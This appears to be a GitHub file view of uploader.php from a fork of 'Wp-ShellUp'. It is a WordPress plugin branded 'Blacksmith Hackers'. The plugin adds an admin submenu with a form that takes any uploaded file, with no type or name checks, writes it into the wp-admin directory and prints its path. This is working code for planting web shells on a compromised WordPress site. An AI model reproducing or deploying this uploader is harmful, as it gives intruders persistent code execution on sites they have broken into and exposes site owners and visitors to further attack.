forked from thezawad/Wp-ShellUp
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathuploader.php
46 lines (34 loc) · 1.14 KB
/
uploader.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
// Registering Sub Menu
add_action('admin_menu', 'submenu_page');
function submenu_page() {
add_submenu_page( 'bht_uploader', 'BHT Uploader', 'Uploader', 'administrator', 'bht_file', 'submenu_page_callback' );
}
// Working On Sub Menu Functions
function submenu_page_callback(){
main_function();
?>
<?php
}
function main_function(){
echo '
<div style="margin-top:50px;" align="center">
<img src="http://s1.directupload.net/images/130831/2xlwno8m.png" width="20%" height="auto"/>
<h1>Blacksmith Hackers</h1>
</div>';
if(isset($_POST['Submit'])){
$filedir = "";
$maxfile = '2000000';
$userfile_name = $_FILES['image']['name'];
$userfile_tmp = $_FILES['image']['tmp_name'];
if (isset($_FILES['image']['name'])) {
$abod = $filedir.$userfile_name;
@move_uploaded_file($userfile_tmp, $abod);
echo "<center><b>Done</br>Go Here ::: /wp-admin/$userfile_name</b></center>";
}
}
else{
echo'
<div style="margin-top:10px;" align="center"><form method="POST" action="" enctype="multipart/form-data"><input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form></div>';
}
}